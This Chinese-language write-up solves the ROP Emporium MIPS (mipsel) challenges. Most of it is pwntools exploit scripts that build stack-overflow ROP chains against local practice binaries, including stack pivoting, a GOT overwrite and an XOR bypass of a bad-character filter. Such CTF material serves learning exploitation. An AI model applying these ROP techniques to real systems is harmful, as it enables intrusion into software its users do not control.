与路由环境不同,这里所用到的是glibc,所以需要提前下载好相应的动态链接库
1
| sudo apt install libc6-mipsel-cross
|
MIPS动态库中的外部符号调用,是依赖.got
段和.MIPS.stubs
段来共同实现的,.MIPS.stubs
类似于x86的.plt
。
1.ret2win
直接找到函数ret2win地址去执行 system(“/bin/cat flag.txt”),输出flag
1 2 3 4 5 6 7
| from pwn import* elf = ELF('ret2win_mipsel') p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./ret2win_mipsel']) context(arch='mips', os='linux', endian='little', log_level = 'debug') payload = b'a' * 36 + p32(0x400a00) p.sendlineafter(b'>', payload) p.recvuntil(b'ROPE')
|
2.split
利用system的地址和flag.txt字符串的地址,输出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import* elf = ELF('split_mipsel') p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./split_mipsel']) context(arch='mips', os='linux', endian='little', log_level = 'debug')
gadget = 0x400a20
sys_addr = 0x4009ec cat_flag = 0x411010 payload = b'a' * 0x24 + p32(gadget) + b'a' * 4 + p32(sys_addr) +p32(cat_flag)
p.recvuntil(b'>') p.sendline(payload) p.recvuntil(b'\n') p.recvuntil(b'ROPE')
|
3.callme
运行callme1,callme2,callme3函数,并传递正确的参数,在if语句中执行正确的分支,才会将flag输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import* elf = ELF('callme_mipsel') p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./callme_mipsel']) context(arch='mips', os='linux', endian='little', log_level = 'debug')
key1 = 0xDEADBEEF key2 = 0xCAFEBABE key3 = 0xD00DF00D
gadget = 0x400bb0 callme_one = 0x400d20 callme_two = 0x400d80 callme_three = 0x400d10
payload = b'a' * 0x24 + p32(gadget) + b'a' * 4 + p32(callme_one) + p32(key3) + p32(key2) + p32(key1) payload += p32(gadget) + b'a' * 4 + p32(callme_two) + p32(key3) + p32(key2) + p32(key1) payload += p32(gadget) + b'a' * 4 + p32(callme_three) + p32(key3) + p32(key2) + p32(key1) p.sendlineafter(b'>', payload) p.recvuntil(b'ROPE')
|
4.write4
通过执行print_file函数,将print_file函数参数flag.txt写到data段或者bss段上,可输出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import* elf = ELF('write4_mipsel') p = process(["qemu-mipsel",'-L','/usr/mipsel-linux-gnu',"write4_mipsel"]) context(arch='mips', os='linux', endian='little', log_level = 'debug')
gadget = 0x400930 print_file = 0x400a90 pwnme = 0x400a70 buf = 0x411000
payload = b'a' * 0x24 + p32(gadget) + b'aaaa' + b'flag' + p32(buf) + p32(pwnme) p.sendlineafter(b'>', payload) payload = b'a' * 0x24 + p32(gadget) + b'aaaa' + b'.txt' + p32(buf + 4) + p32(pwnme) p.sendlineafter(b'>', payload) payload = b'a' * 0x24 + p32(gadget + 0x18) + b'aaaa' + p32(print_file) + p32(buf) p.sendlineafter(b'>', payload) p.recvuntil(b'ROPE')
|
5.badchars
与write4一样,通过执行print_file函数,将print_file函数参数flag.txt写到data段或者bss段上,可输出flag
但会对字符串判断,如果字符串中’有x’,’g’,’a’,’.’这些字符就会赋值为-21,可以通过xor加密绕过判断,
然后xor还原。和x86不同的是MIPS需要地址对齐才能正常取出字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import* elf = ELF('badchars_mipsel') p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./badchars_mipsel']) context(arch='mips', os='linux', endian='little', log_level = 'debug')
gadget1 = 0x400930 gadget2 = 0x400948 gadget3 = 0x400968 buf = 0x411000
badchars = ['x','g','a','.'] new_flag = "" xor_byte = 1 while 1: output = "" for i in "flag.txt": c = ord(i) ^ xor_byte c = chr(c) if c in badchars: xor_byte += 1 break else: output += c if len(output) == 8: new_flag = output break new_flag = bytes(new_flag.encode())
payload = b'a' * 36 + p32(gadget1) + p32(0) + new_flag[:4] + p32(buf) + p32(gadget1) payload += p32(0) + new_flag[4:8] + p32(buf + 4) + p32(gadget2) for i in range(4): xor_b = xor_byte << (i * 8) payload += p32(0) + p32(buf) + p32(xor_b) + p32(gadget2) for i in range(3): xor_b = xor_byte << (i * 8) payload += p32(0) + p32(buf + 4) + p32(xor_b) + p32(gadget2) payload += p32(0) + p32(buf + 4) + p32(xor_byte << 24) + p32(gadget3) payload += p32(0) + p32(0x400ab0) + p32(buf)
p.sendafter(b'> ', payload) p.recvuntil(b'ROPE')
|
7.pivot
溢出后利用栈迁移修改foothold_function函数got表的地址为ret2win的地址即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import* elf = ELF('pivot_mipsel') p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./pivot_mipsel']) context(arch='mips', os='linux', endian='little', log_level = 'debug')
gadget1 = 0x400ca0 gadget2 = 0x400cb0 gadget3 = 0x400cc4 gadget4 = 0x400cd0
foothold = 0x400e60 foothold_got = 0x412060
p.recvuntil(b'0x') pivot_addr = int(p.recvuntil(b'\n', drop=True), 16)
payload1 = p32(0) + p32(0) + p32(gadget1) + p32(0) + p32(0x378) + p32(foothold) payload1 += p32(0) + p32(foothold_got) + p32(gadget1) + p32(0) + p32(0x378) + p32(gadget3) p.sendafter(b'>', payload1)
payload2 = b'a' * 32 + p32(pivot_addr) + p32(gadget4) p.sendafter(b'>', payload2) p.recvuntil(b'ROPE')
|
8.ret2csu
使用glibc编译的·MIPS架构程序同样拥有libc_csu_init段,所以使用ret2csu调用ret2win函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import* elf = ELF('ret2csu_mipsel') p = process(['qemu-mipsel','-L','/usr/mipsel-linux-gnu','./ret2csu_mipsel']) context(arch='mips', os='linux', endian='little', log_level = 'debug')
gadget1 = 0x4009c0 gadget2 = 0x4009a0
key1 = 0xDEADBEEF key2 = 0xCAFEBABE key3 = 0xD00DF00D
payload = b'a' * 36 + p32(gadget1) + b'a' * 0x1c payload += p32(0x411058) payload += p32(0) payload += p32(1) payload += p32(key1) payload += p32(key2) payload += p32(key3) payload += p32(gadget2) payload += p32(0) * 7
p.sendafter(b'> ', payload) p.recvuntil(b'ROPE')
|